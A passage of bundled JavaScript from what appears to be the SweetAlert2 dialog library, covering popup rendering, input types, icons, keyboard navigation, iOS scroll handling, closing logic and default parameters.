          const renderCloseButton = (instance, params) => {
            const closeButton = getCloseButton();
            setInnerHtml(closeButton, params.closeButtonHtml);
            applyCustomClass(closeButton, params, "closeButton");
            toggle(closeButton, params.showCloseButton);
            closeButton.setAttribute("aria-label", params.closeButtonAriaLabel);
          };
          const renderContainer = (instance, params) => {
            const container = getContainer();
            if (!container) {
              return;
            }
            handleBackdropParam(container, params.backdrop);
            handlePositionParam(container, params.position);
            handleGrowParam(container, params.grow);
            applyCustomClass(container, params, "container");
          };
          function handleBackdropParam(container, backdrop) {
            if (typeof backdrop === "string") {
              container.style.background = backdrop;
            } else if (!backdrop) {
              addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
            }
          }
          function handlePositionParam(container, position) {
            if (position in swalClasses) {
              addClass(container, swalClasses[position]);
            } else {
              warn('The "position" parameter is not valid, defaulting to "center"');
              addClass(container, swalClasses.center);
            }
          }
          function handleGrowParam(container, grow) {
            if (grow && typeof grow === "string") {
              const growClass = `grow-${grow}`;
              if (growClass in swalClasses) {
                addClass(container, swalClasses[growClass]);
              }
            }
          }
          const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
          const renderInput = (instance, params) => {
            const popup = getPopup();
            const innerParams = privateProps.innerParams.get(instance);
            const rerender = !innerParams || params.input !== innerParams.input;
            inputClasses.forEach((inputClass) => {
              const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
              setAttributes(inputClass, params.inputAttributes);
              inputContainer.className = swalClasses[inputClass];
              if (rerender) {
                hide(inputContainer);
              }
            });
            if (params.input) {
              if (rerender) {
                showInput(params);
              }
              setCustomClass(params);
            }
          };
          const showInput = (params) => {
            if (!renderInputType[params.input]) {
              error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
              return;
            }
            const inputContainer = getInputContainer(params.input);
            const input = renderInputType[params.input](inputContainer, params);
            show(inputContainer);
            setTimeout(() => {
              focusInput(input);
            });
          };
          const removeAttributes = (input) => {
            for (let i = 0; i < input.attributes.length; i++) {
              const attrName = input.attributes[i].name;
              if (!["type", "value", "style"].includes(attrName)) {
                input.removeAttribute(attrName);
              }
            }
          };
          const setAttributes = (inputClass, inputAttributes) => {
            const input = getInput$1(getPopup(), inputClass);
            if (!input) {
              return;
            }
            removeAttributes(input);
            for (const attr in inputAttributes) {
              input.setAttribute(attr, inputAttributes[attr]);
            }
          };
          const setCustomClass = (params) => {
            const inputContainer = getInputContainer(params.input);
            if (typeof params.customClass === "object") {
              addClass(inputContainer, params.customClass.input);
            }
          };
          const setInputPlaceholder = (input, params) => {
            if (!input.placeholder || params.inputPlaceholder) {
              input.placeholder = params.inputPlaceholder;
            }
          };
          const setInputLabel = (input, prependTo, params) => {
            if (params.inputLabel) {
              input.id = swalClasses.input;
              const label = document.createElement("label");
              const labelClass = swalClasses["input-label"];
              label.setAttribute("for", input.id);
              label.className = labelClass;
              if (typeof params.customClass === "object") {
                addClass(label, params.customClass.inputLabel);
              }
              label.innerText = params.inputLabel;
              prependTo.insertAdjacentElement("beforebegin", label);
            }
          };
          const getInputContainer = (inputType) => {
            return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
          };
          const checkAndSetInputValue = (input, inputValue) => {
            if (["string", "number"].includes(typeof inputValue)) {
              input.value = `${inputValue}`;
            } else if (!isPromise(inputValue)) {
              warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
            }
          };
          const renderInputType = {};
          renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
            checkAndSetInputValue(input, params.inputValue);
            setInputLabel(input, input, params);
            setInputPlaceholder(input, params);
            input.type = params.input;
            return input;
          };
          renderInputType.file = (input, params) => {
            setInputLabel(input, input, params);
            setInputPlaceholder(input, params);
            return input;
          };
          renderInputType.range = (range, params) => {
            const rangeInput = range.querySelector("input");
            const rangeOutput = range.querySelector("output");
            checkAndSetInputValue(rangeInput, params.inputValue);
            rangeInput.type = params.input;
            checkAndSetInputValue(rangeOutput, params.inputValue);
            setInputLabel(rangeInput, range, params);
            return range;
          };
          renderInputType.select = (select, params) => {
            select.textContent = "";
            if (params.inputPlaceholder) {
              const placeholder = document.createElement("option");
              setInnerHtml(placeholder, params.inputPlaceholder);
              placeholder.value = "";
              placeholder.disabled = true;
              placeholder.selected = true;
              select.appendChild(placeholder);
            }
            setInputLabel(select, select, params);
            return select;
          };
          renderInputType.radio = (radio) => {
            radio.textContent = "";
            return radio;
          };
          renderInputType.checkbox = (checkboxContainer, params) => {
            const checkbox = getInput$1(getPopup(), "checkbox");
            checkbox.value = "1";
            checkbox.id = swalClasses.checkbox;
            checkbox.checked = Boolean(params.inputValue);
            const label = checkboxContainer.querySelector("span");
            setInnerHtml(label, params.inputPlaceholder);
            return checkbox;
          };
          renderInputType.textarea = (textarea, params) => {
            checkAndSetInputValue(textarea, params.inputValue);
            setInputPlaceholder(textarea, params);
            setInputLabel(textarea, textarea, params);
            const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
            setTimeout(() => {
              if ("MutationObserver" in window) {
                const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
                const textareaResizeHandler = () => {
                  const textareaWidth = textarea.offsetWidth + getMargin(textarea);
                  if (textareaWidth > initialPopupWidth) {
                    getPopup().style.width = `${textareaWidth}px`;
                  } else {
                    getPopup().style.width = null;
                  }
                };
                new MutationObserver(textareaResizeHandler).observe(textarea, {
                  attributes: true,
                  attributeFilter: ["style"]
                });
              }
            });
            return textarea;
          };
          const renderContent = (instance, params) => {
            const htmlContainer = getHtmlContainer();
            applyCustomClass(htmlContainer, params, "htmlContainer");
            if (params.html) {
              parseHtmlToContainer(params.html, htmlContainer);
              show(htmlContainer, "block");
            } else if (params.text) {
              htmlContainer.textContent = params.text;
              show(htmlContainer, "block");
            } else {
              hide(htmlContainer);
            }
            renderInput(instance, params);
          };
          const renderFooter = (instance, params) => {
            const footer = getFooter();
            toggle(footer, params.footer);
            if (params.footer) {
              parseHtmlToContainer(params.footer, footer);
            }
            applyCustomClass(footer, params, "footer");
          };
          const renderIcon = (instance, params) => {
            const innerParams = privateProps.innerParams.get(instance);
            const icon = getIcon();
            if (innerParams && params.icon === innerParams.icon) {
              setContent(icon, params);
              applyStyles(icon, params);
              return;
            }
            if (!params.icon && !params.iconHtml) {
              hide(icon);
              return;
            }
            if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
              error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
              hide(icon);
              return;
            }
            show(icon);
            setContent(icon, params);
            applyStyles(icon, params);
            addClass(icon, params.showClass.icon);
          };
          const applyStyles = (icon, params) => {
            for (const iconType in iconTypes) {
              if (params.icon !== iconType) {
                removeClass(icon, iconTypes[iconType]);
              }
            }
            addClass(icon, iconTypes[params.icon]);
            setColor(icon, params);
            adjustSuccessIconBackgroundColor();
            applyCustomClass(icon, params, "icon");
          };
          const adjustSuccessIconBackgroundColor = () => {
            const popup = getPopup();
            const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
            const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
            for (let i = 0; i < successIconParts.length; i++) {
              successIconParts[i].style.backgroundColor = popupBackgroundColor;
            }
          };
          const successIconHtml = `
      <div class="swal2-success-circular-line-left"></div>
      <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
      <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
      <div class="swal2-success-circular-line-right"></div>
    `;
          const errorIconHtml = `
      <span class="swal2-x-mark">
        <span class="swal2-x-mark-line-left"></span>
        <span class="swal2-x-mark-line-right"></span>
      </span>
    `;
          const setContent = (icon, params) => {
            let oldContent = icon.innerHTML;
            let newContent;
            if (params.iconHtml) {
              newContent = iconContent(params.iconHtml);
            } else if (params.icon === "success") {
              newContent = successIconHtml;
              oldContent = oldContent.replace(/ style=".*?"/g, "");
            } else if (params.icon === "error") {
              newContent = errorIconHtml;
            } else {
              const defaultIconHtml = {
                question: "?",
                warning: "!",
                info: "i"
              };
              newContent = iconContent(defaultIconHtml[params.icon]);
            }
            if (oldContent.trim() !== newContent.trim()) {
              setInnerHtml(icon, newContent);
            }
          };
          const setColor = (icon, params) => {
            if (!params.iconColor) {
              return;
            }
            icon.style.color = params.iconColor;
            icon.style.borderColor = params.iconColor;
            for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
              setStyle(icon, sel, "backgroundColor", params.iconColor);
            }
            setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
          };
          const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
          const renderImage = (instance, params) => {
            const image = getImage();
            if (!params.imageUrl) {
              hide(image);
              return;
            }
            show(image, "");
            image.setAttribute("src", params.imageUrl);
            image.setAttribute("alt", params.imageAlt);
            applyNumericalStyle(image, "width", params.imageWidth);
            applyNumericalStyle(image, "height", params.imageHeight);
            image.className = swalClasses.image;
            applyCustomClass(image, params, "image");
          };
          const renderPopup = (instance, params) => {
            const container = getContainer();
            const popup = getPopup();
            if (params.toast) {
              applyNumericalStyle(container, "width", params.width);
              popup.style.width = "100%";
              popup.insertBefore(getLoader(), getIcon());
            } else {
              applyNumericalStyle(popup, "width", params.width);
            }
            applyNumericalStyle(popup, "padding", params.padding);
            if (params.color) {
              popup.style.color = params.color;
            }
            if (params.background) {
              popup.style.background = params.background;
            }
            hide(getValidationMessage());
            addClasses$1(popup, params);
          };
          const addClasses$1 = (popup, params) => {
            popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? params.showClass.popup : ""}`;
            if (params.toast) {
              addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
              addClass(popup, swalClasses.toast);
            } else {
              addClass(popup, swalClasses.modal);
            }
            applyCustomClass(popup, params, "popup");
            if (typeof params.customClass === "string") {
              addClass(popup, params.customClass);
            }
            if (params.icon) {
              addClass(popup, swalClasses[`icon-${params.icon}`]);
            }
          };
          const renderProgressSteps = (instance, params) => {
            const progressStepsContainer = getProgressSteps();
            if (!params.progressSteps || params.progressSteps.length === 0) {
              hide(progressStepsContainer);
              return;
            }
            show(progressStepsContainer);
            progressStepsContainer.textContent = "";
            if (params.currentProgressStep >= params.progressSteps.length) {
              warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
            }
            params.progressSteps.forEach((step, index) => {
              const stepEl = createStepElement(step);
              progressStepsContainer.appendChild(stepEl);
              if (index === params.currentProgressStep) {
                addClass(stepEl, swalClasses["active-progress-step"]);
              }
              if (index !== params.progressSteps.length - 1) {
                const lineEl = createLineElement(params);
                progressStepsContainer.appendChild(lineEl);
              }
            });
          };
          const createStepElement = (step) => {
            const stepEl = document.createElement("li");
            addClass(stepEl, swalClasses["progress-step"]);
            setInnerHtml(stepEl, step);
            return stepEl;
          };
          const createLineElement = (params) => {
            const lineEl = document.createElement("li");
            addClass(lineEl, swalClasses["progress-step-line"]);
            if (params.progressStepsDistance) {
              applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
            }
            return lineEl;
          };
          const renderTitle = (instance, params) => {
            const title = getTitle();
            toggle(title, params.title || params.titleText, "block");
            if (params.title) {
              parseHtmlToContainer(params.title, title);
            }
            if (params.titleText) {
              title.innerText = params.titleText;
            }
            applyCustomClass(title, params, "title");
          };
          const render = (instance, params) => {
            renderPopup(instance, params);
            renderContainer(instance, params);
            renderProgressSteps(instance, params);
            renderIcon(instance, params);
            renderImage(instance, params);
            renderTitle(instance, params);
            renderCloseButton(instance, params);
            renderContent(instance, params);
            renderActions(instance, params);
            renderFooter(instance, params);
            if (typeof params.didRender === "function") {
              params.didRender(getPopup());
            }
          };
          function hideLoading() {
            const innerParams = privateProps.innerParams.get(this);
            if (!innerParams) {
              return;
            }
            const domCache = privateProps.domCache.get(this);
            hide(domCache.loader);
            if (isToast()) {
              if (innerParams.icon) {
                show(getIcon());
              }
            } else {
              showRelatedButton(domCache);
            }
            removeClass([domCache.popup, domCache.actions], swalClasses.loading);
            domCache.popup.removeAttribute("aria-busy");
            domCache.popup.removeAttribute("data-loading");
            domCache.confirmButton.disabled = false;
            domCache.denyButton.disabled = false;
            domCache.cancelButton.disabled = false;
          }
          const showRelatedButton = (domCache) => {
            const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
            if (buttonToReplace.length) {
              show(buttonToReplace[0], "inline-block");
            } else if (allButtonsAreHidden()) {
              hide(domCache.actions);
            }
          };
          function getInput(instance) {
            const innerParams = privateProps.innerParams.get(instance || this);
            const domCache = privateProps.domCache.get(instance || this);
            if (!domCache) {
              return null;
            }
            return getInput$1(domCache.popup, innerParams.input);
          }
          const isVisible = () => {
            return isVisible$1(getPopup());
          };
          const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
          const clickDeny = () => getDenyButton() && getDenyButton().click();
          const clickCancel = () => getCancelButton() && getCancelButton().click();
          const DismissReason = Object.freeze({
            cancel: "cancel",
            backdrop: "backdrop",
            close: "close",
            esc: "esc",
            timer: "timer"
          });
          const removeKeydownHandler = (globalState2) => {
            if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
              globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
                capture: globalState2.keydownListenerCapture
              });
              globalState2.keydownHandlerAdded = false;
            }
          };
          const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
            removeKeydownHandler(globalState2);
            if (!innerParams.toast) {
              globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
              globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
              globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
              globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
                capture: globalState2.keydownListenerCapture
              });
              globalState2.keydownHandlerAdded = true;
            }
          };
          const setFocus = (index, increment) => {
            const focusableElements = getFocusableElements();
            if (focusableElements.length) {
              index = index + increment;
              if (index === focusableElements.length) {
                index = 0;
              } else if (index === -1) {
                index = focusableElements.length - 1;
              }
              focusableElements[index].focus();
              return;
            }
            getPopup().focus();
          };
          const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
          const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
          const keydownHandler = (instance, event, dismissWith) => {
            const innerParams = privateProps.innerParams.get(instance);
            if (!innerParams) {
              return;
            }
            if (event.isComposing || event.keyCode === 229) {
              return;
            }
            if (innerParams.stopKeydownPropagation) {
              event.stopPropagation();
            }
            if (event.key === "Enter") {
              handleEnter(instance, event, innerParams);
            } else if (event.key === "Tab") {
              handleTab(event);
            } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
              handleArrows(event.key);
            } else if (event.key === "Escape") {
              handleEsc(event, innerParams, dismissWith);
            }
          };
          const handleEnter = (instance, event, innerParams) => {
            if (!callIfFunction(innerParams.allowEnterKey)) {
              return;
            }
            if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
              if (["textarea", "file"].includes(innerParams.input)) {
                return;
              }
              clickConfirm();
              event.preventDefault();
            }
          };
          const handleTab = (event) => {
            const targetElement = event.target;
            const focusableElements = getFocusableElements();
            let btnIndex = -1;
            for (let i = 0; i < focusableElements.length; i++) {
              if (targetElement === focusableElements[i]) {
                btnIndex = i;
                break;
              }
            }
            if (!event.shiftKey) {
              setFocus(btnIndex, 1);
            } else {
              setFocus(btnIndex, -1);
            }
            event.stopPropagation();
            event.preventDefault();
          };
          const handleArrows = (key) => {
            const confirmButton = getConfirmButton();
            const denyButton = getDenyButton();
            const cancelButton = getCancelButton();
            if (document.activeElement instanceof HTMLElement && ![confirmButton, denyButton, cancelButton].includes(document.activeElement)) {
              return;
            }
            const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
            let buttonToFocus = document.activeElement;
            for (let i = 0; i < getActions().children.length; i++) {
              buttonToFocus = buttonToFocus[sibling];
              if (!buttonToFocus) {
                return;
              }
              if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
                break;
              }
            }
            if (buttonToFocus instanceof HTMLButtonElement) {
              buttonToFocus.focus();
            }
          };
          const handleEsc = (event, innerParams, dismissWith) => {
            if (callIfFunction(innerParams.allowEscapeKey)) {
              event.preventDefault();
              dismissWith(DismissReason.esc);
            }
          };
          var privateMethods = {
            swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
            swalPromiseReject: /* @__PURE__ */ new WeakMap()
          };
          const setAriaHidden = () => {
            const bodyChildren = Array.from(document.body.children);
            bodyChildren.forEach((el) => {
              if (el === getContainer() || el.contains(getContainer())) {
                return;
              }
              if (el.hasAttribute("aria-hidden")) {
                el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden"));
              }
              el.setAttribute("aria-hidden", "true");
            });
          };
          const unsetAriaHidden = () => {
            const bodyChildren = Array.from(document.body.children);
            bodyChildren.forEach((el) => {
              if (el.hasAttribute("data-previous-aria-hidden")) {
                el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden"));
                el.removeAttribute("data-previous-aria-hidden");
              } else {
                el.removeAttribute("aria-hidden");
              }
            });
          };
          const iOSfix = () => {
            const iOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream || navigator.platform === "MacIntel" && navigator.maxTouchPoints > 1;
            if (iOS && !hasClass(document.body, swalClasses.iosfix)) {
              const offset = document.body.scrollTop;
              document.body.style.top = `${offset * -1}px`;
              addClass(document.body, swalClasses.iosfix);
              lockBodyScroll();
              addBottomPaddingForTallPopups();
            }
          };
          const addBottomPaddingForTallPopups = () => {
            const ua = navigator.userAgent;
            const iOS = !!ua.match(/iPad/i) || !!ua.match(/iPhone/i);
            const webkit = !!ua.match(/WebKit/i);
            const iOSSafari = iOS && webkit && !ua.match(/CriOS/i);
            if (iOSSafari) {
              const bottomPanelHeight = 44;
              if (getPopup().scrollHeight > window.innerHeight - bottomPanelHeight) {
                getContainer().style.paddingBottom = `${bottomPanelHeight}px`;
              }
            }
          };
          const lockBodyScroll = () => {
            const container = getContainer();
            let preventTouchMove;
            container.ontouchstart = (event) => {
              preventTouchMove = shouldPreventTouchMove(event);
            };
            container.ontouchmove = (event) => {
              if (preventTouchMove) {
                event.preventDefault();
                event.stopPropagation();
              }
            };
          };
          const shouldPreventTouchMove = (event) => {
            const target = event.target;
            const container = getContainer();
            if (isStylus(event) || isZoom(event)) {
              return false;
            }
            if (target === container) {
              return true;
            }
            if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && target.tagName !== "TEXTAREA" && !(isScrollable(getHtmlContainer()) && getHtmlContainer().contains(target))) {
              return true;
            }
            return false;
          };
          const isStylus = (event) => {
            return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
          };
          const isZoom = (event) => {
            return event.touches && event.touches.length > 1;
          };
          const undoIOSfix = () => {
            if (hasClass(document.body, swalClasses.iosfix)) {
              const offset = parseInt(document.body.style.top, 10);
              removeClass(document.body, swalClasses.iosfix);
              document.body.style.top = "";
              document.body.scrollTop = offset * -1;
            }
          };
          const fixScrollbar = () => {
            if (states.previousBodyPadding !== null) {
              return;
            }
            if (document.body.scrollHeight > window.innerHeight) {
              states.previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
              document.body.style.paddingRight = `${states.previousBodyPadding + measureScrollbar()}px`;
            }
          };
          const undoScrollbar = () => {
            if (states.previousBodyPadding !== null) {
              document.body.style.paddingRight = `${states.previousBodyPadding}px`;
              states.previousBodyPadding = null;
            }
          };
          function removePopupAndResetState(instance, container, returnFocus, didClose) {
            if (isToast()) {
              triggerDidCloseAndDispose(instance, didClose);
            } else {
              restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
              removeKeydownHandler(globalState);
            }
            const isSafari = /^((?!chrome|android).)*safari/i.test(navigator.userAgent);
            if (isSafari) {
              container.setAttribute("style", "display:none !important");
              container.removeAttribute("class");
              container.innerHTML = "";
            } else {
              container.remove();
            }
            if (isModal()) {
              undoScrollbar();
              undoIOSfix();
              unsetAriaHidden();
            }
            removeBodyClasses();
          }
          function removeBodyClasses() {
            removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
          }
          function close(resolveValue) {
            resolveValue = prepareResolveValue(resolveValue);
            const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
            const didClose = triggerClosePopup(this);
            if (this.isAwaitingPromise()) {
              if (!resolveValue.isDismissed) {
                handleAwaitingPromise(this);
                swalPromiseResolve(resolveValue);
              }
            } else if (didClose) {
              swalPromiseResolve(resolveValue);
            }
          }
          function isAwaitingPromise() {
            return !!privateProps.awaitingPromise.get(this);
          }
          const triggerClosePopup = (instance) => {
            const popup = getPopup();
            if (!popup) {
              return false;
            }
            const innerParams = privateProps.innerParams.get(instance);
            if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
              return false;
            }
            removeClass(popup, innerParams.showClass.popup);
            addClass(popup, innerParams.hideClass.popup);
            const backdrop = getContainer();
            removeClass(backdrop, innerParams.showClass.backdrop);
            addClass(backdrop, innerParams.hideClass.backdrop);
            handlePopupAnimation(instance, popup, innerParams);
            return true;
          };
          function rejectPromise(error2) {
            const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
            handleAwaitingPromise(this);
            if (rejectPromise2) {
              rejectPromise2(error2);
            }
          }
          const handleAwaitingPromise = (instance) => {
            if (instance.isAwaitingPromise()) {
              privateProps.awaitingPromise.delete(instance);
              if (!privateProps.innerParams.get(instance)) {
                instance._destroy();
              }
            }
          };
          const prepareResolveValue = (resolveValue) => {
            if (typeof resolveValue === "undefined") {
              return {
                isConfirmed: false,
                isDenied: false,
                isDismissed: true
              };
            }
            return Object.assign({
              isConfirmed: false,
              isDenied: false,
              isDismissed: false
            }, resolveValue);
          };
          const handlePopupAnimation = (instance, popup, innerParams) => {
            const container = getContainer();
            const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
            if (typeof innerParams.willClose === "function") {
              innerParams.willClose(popup);
            }
            if (animationIsSupported) {
              animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
            } else {
              removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
            }
          };
          const animatePopup = (instance, popup, container, returnFocus, didClose) => {
            globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
            popup.addEventListener(animationEndEvent, function(e) {
              if (e.target === popup) {
                globalState.swalCloseEventFinishedCallback();
                delete globalState.swalCloseEventFinishedCallback;
              }
            });
          };
          const triggerDidCloseAndDispose = (instance, didClose) => {
            setTimeout(() => {
              if (typeof didClose === "function") {
                didClose.bind(instance.params)();
              }
              instance._destroy();
            });
          };
          function setButtonsDisabled(instance, buttons, disabled) {
            const domCache = privateProps.domCache.get(instance);
            buttons.forEach((button) => {
              domCache[button].disabled = disabled;
            });
          }
          function setInputDisabled(input, disabled) {
            if (!input) {
              return;
            }
            if (input.type === "radio") {
              const radiosContainer = input.parentNode.parentNode;
              const radios = radiosContainer.querySelectorAll("input");
              for (let i = 0; i < radios.length; i++) {
                radios[i].disabled = disabled;
              }
            } else {
              input.disabled = disabled;
            }
          }
          function enableButtons() {
            setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
          }
          function disableButtons() {
            setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
          }
          function enableInput() {
            setInputDisabled(this.getInput(), false);
          }
          function disableInput() {
            setInputDisabled(this.getInput(), true);
          }
          function showValidationMessage(error2) {
            const domCache = privateProps.domCache.get(this);
            const params = privateProps.innerParams.get(this);
            setInnerHtml(domCache.validationMessage, error2);
            domCache.validationMessage.className = swalClasses["validation-message"];
            if (params.customClass && params.customClass.validationMessage) {
              addClass(domCache.validationMessage, params.customClass.validationMessage);
            }
            show(domCache.validationMessage);
            const input = this.getInput();
            if (input) {
              input.setAttribute("aria-invalid", true);
              input.setAttribute("aria-describedby", swalClasses["validation-message"]);
              focusInput(input);
              addClass(input, swalClasses.inputerror);
            }
          }
          function resetValidationMessage() {
            const domCache = privateProps.domCache.get(this);
            if (domCache.validationMessage) {
              hide(domCache.validationMessage);
            }
            const input = this.getInput();
            if (input) {
              input.removeAttribute("aria-invalid");
              input.removeAttribute("aria-describedby");
              removeClass(input, swalClasses.inputerror);
            }
          }
          const defaultParams = {
            title: "",
            titleText: "",
            text: "",
            html: "",
            footer: "",
            icon: void 0,
            iconColor: void 0,
            iconHtml: void 0,
            template: void 0,
            toast: false,
            showClass: {
              popup: "swal2-show",
              backdrop: "swal2-backdrop-show",
              icon: "swal2-icon-show"
            },
            hideClass: {
              popup: "swal2-hide",
              backdrop: "swal2-backdrop-hide",
              icon: "swal2-icon-hide"
            },
            customClass: {},
            target: "body",
            color: void 0,
            backdrop: true,
            heightAuto: true,
            allowOutsideClick: true,
            allowEscapeKey: true,
            allowEnterKey: true,
            stopKeydownPropagation: true,
            keydownListenerCapture: false,
            showConfirmButton: true,
            showDenyButton: false,
            showCancelButton: false,
            preConfirm: void 0,
            preDeny: void 0,
            confirmButtonText: "OK",
            confirmButtonAriaLabel: "",
            confirmButtonColor: void 0,
            denyButtonText: "No",
            denyButtonAriaLabel: "",
            denyButtonColor: void 0,
            cancelButtonText: "Cancel",
            cancelButtonAriaLabel: "",
            cancelButtonColor: void 0,
            buttonsStyling: true,
            reverseButtons: false,
            focusConfirm: true,
            focusDeny: false,
            focusCancel: false,
            returnFocus: true,
            showCloseButton: false,
            closeButtonHtml: "&times;",
            closeButtonAriaLabel: "Close this dialog",
            loaderHtml: "",
            showLoaderOnConfirm: false,
            showLoaderOnDeny: false,
            imageUrl: void 0,
            imageWidth: void 0,
            imageHeight: void 0,
            imageAlt: "",
            timer: void 0,
            timerProgressBar: false,
            width: void 0,
            padding: void 0,
            background: void 0,
            input: void 0,
            inputPlaceholder: "",
            inputLabel: "",
            inputValue: "",
            inputOptions: {},
            inputAutoTrim: true,
            inputAttributes: {},
            inputValidator: void 0,
            returnInputValueOnDeny: false,
            validationMessage: void 0,
            grow: false,
            position: "center",
            progressSteps: [],
            currentProgressStep: void 0,
            progressStepsDistance: void 0,
            willOpen: void 0,
            didOpen: void 0,
            didRender: void 0,
            willClose: void 0,
            didClose: void 0,
            didDestroy: void 0,
            scrollbarPadding: true
          };
          const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
          const deprecatedParams = {};
          const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
          const isValidParameter = (paramName) => {
            return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
          };
          const isUpdatableParameter = (paramName) => {
            return updatableParams.indexOf(paramName) !== -1;
          };
          const isDeprecatedParameter = (paramName) => {
            return deprecatedParams[paramName];
          };
          const checkIfParamIsValid = (param) => {
            if (!isValidParameter(param)) {
              warn(`Unknown parameter "${param}"`);
            }
          };
          const checkIfToastParamIsValid = (param) => {
            if (toastIncompatibleParams.includes(param)) {
              warn(`The parameter "${param}" is incompatible with toasts`);
            }
          };
          const checkIfParamIsDeprecated = (param) => {
            if (isDeprecatedParameter(param)) {
              warnAboutDeprecation(param, isDeprecatedParameter(param));
            }
          };
          const showWarningsForParams = (params) => {
            if (params.backdrop === false && params.allowOutsideClick) {
              warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
            }
            for (const param in params) {
              checkIfParamIsValid(param);
              if (params.toast) {
                checkIfToastParamIsValid(param);
              }
              checkIfParamIsDeprecated(param);
            }
          };
          function update(params) {
            const popup = getPopup();
            const innerParams = privateProps.innerParams.get(this);
            if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
              warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
              return;
            }
            const validUpdatableParams = filterValidParams(params);
            const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
            render(this, updatedParams);
            privateProps.innerParams.set(this, updatedParams);
            Object.defineProperties(this, {
              params: {
                value: Object.assign({}, this.params, params),
                writable: false,
                enumerable: true
              }
            });
          }
          const filterValidParams = (params) => {
            const validUpdatableParams = {};
            Object.keys(params).forEach((param) => {
              if (isUpdatableParameter(param)) {
                validUpdatableParams[param] = params[param];
              } else {
                warn(`Invalid parameter to update: ${param}`);
              }
            });
            return validUpdatableParams;
          };
          function _destroy() {
            const domCache = privateProps.domCache.get(this);
            const innerParams = privateProps.innerParams.get(this);
            if (!innerParams) {
              disposeWeakMaps(this);
              return;
            }
            if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
              globalState.swalCloseEventFinishedCallback();
